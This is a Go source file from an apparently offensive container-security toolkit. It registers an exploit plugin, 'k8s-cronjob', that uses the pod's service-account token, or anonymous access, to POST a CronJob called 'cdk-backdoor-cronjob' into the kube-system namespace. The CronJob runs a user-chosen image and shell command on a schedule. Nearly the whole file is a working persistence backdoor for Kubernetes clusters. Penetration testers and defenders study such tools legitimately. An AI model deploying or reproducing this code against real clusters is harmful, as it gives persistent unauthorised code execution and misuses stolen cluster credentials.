// +build !no_k8s_cronjob

package exploit

import (
	"fmt"
	"github.com/cdk-team/CDK/conf"
	"github.com/cdk-team/CDK/pkg/cli"
	"github.com/cdk-team/CDK/pkg/errors"
	"github.com/cdk-team/CDK/pkg/plugin"
	"github.com/cdk-team/CDK/pkg/tool/kubectl"
	"log"
	"strings"
)

var cronJobAPI = "/apis/batch/v1beta1/namespaces/kube-system/cronjobs"
var cronJobConfig = `
{
	"apiVersion": "batch/v1beta1",
	"kind": "CronJob",
	"metadata": {
		"name": "cdk-backdoor-cronjob"
	},
	"spec": {
		"jobTemplate": {
			"spec": {
				"template": {
					"spec": {
						"containers": [{
							"args": ["/bin/sh", "-c", "$SHELL_CMD"],
							"image": "$IMAGE",
							"imagePullPolicy": "IfNotPresent",
							"name": "cdk-backdoor-cronjob-container"
						}],
						"restartPolicy": "OnFailure"
					}
				}
			}
		},
		"schedule": "$SCHEDULE_EXPR"
	}
}
`

func deployK8sCronjob(serverAddr string, tokenPath string, image string, inputArgs string, schedule string) (string, error) {
	log.Printf("generate cronjob with \n image:%s\n cmd:%s\n schedule:%s\n", image, inputArgs, schedule)

	var scheduleExpr string
	switch schedule {
	case "min":
		scheduleExpr = "* * * * *"
	case "hour":
		scheduleExpr = "0 * * * *"
	case "day":
		scheduleExpr = "0 0 * * *"
	default:
		scheduleExpr = schedule
	}
	cronJobConfig = strings.ReplaceAll(cronJobConfig, "$SCHEDULE_EXPR", scheduleExpr)
	cronJobConfig = strings.ReplaceAll(cronJobConfig, "$IMAGE", image)
	cronJobConfig = strings.ReplaceAll(cronJobConfig, "$SHELL_CMD", inputArgs)

	opts := kubectl.K8sRequestOption{
		TokenPath: "",
		Server:    serverAddr,
		Api:       cronJobAPI,
		Method:    "POST",
		PostData:  cronJobConfig,
		Anonymous: false,
	}

	switch tokenPath {
	case "default":
		opts.TokenPath = conf.K8sSATokenDefaultPath
	case "anonymous":
		opts.TokenPath = ""
		opts.Anonymous = true
	default:
		opts.TokenPath = tokenPath
	}

	log.Println("requesting ", cronJobAPI)
	resp, err := kubectl.ServerAccountRequest(opts)
	if err != nil {
		return "", errors.New("faild to request api-server.")
	}
	if !strings.Contains(resp, "selfLink") {
		log.Println("api-server response:")
		fmt.Println(resp)
		return "", errors.New("invalid response data, possible caused by api-server forbidden this request.")
	}

	return resp, nil
}

// plugin interface
type K8sCronJobDeployS struct{}

func (p K8sCronJobDeployS) Desc() string {
	return "create cronjob with user specified image and cmd. Usage: cdk run k8s-cronjob (default|anonymous|<token-path>) (min|hour|day|<cron-expr>) <image> <args>"
}
func (p K8sCronJobDeployS) Run() bool {
	args := cli.Args["<args>"].([]string)
	if len(args) != 4 {
		log.Println("invalid input args.")
		log.Fatal(p.Desc())
	}

	// get api-server connection conf in ENV
	log.Println("getting K8s api-server API addr.")
	addr, err := kubectl.ApiServerAddr()
	if err != nil {
		fmt.Println(err)
		return false
	}
	fmt.Println("\tFind K8s api-server in ENV:", addr)

	token := args[0]
	cron := args[1]
	image := args[2]
	cmd := args[3]

	resp, err := deployK8sCronjob(addr, token, image, cmd, cron)
	if err != nil {
		fmt.Println(err)
		return false
	}
	log.Println("api-server response:")
	fmt.Println(resp)
	return true
}

func init() {
	exploit := K8sCronJobDeployS{}
	plugin.RegisterExploit("k8s-cronjob", exploit)
}
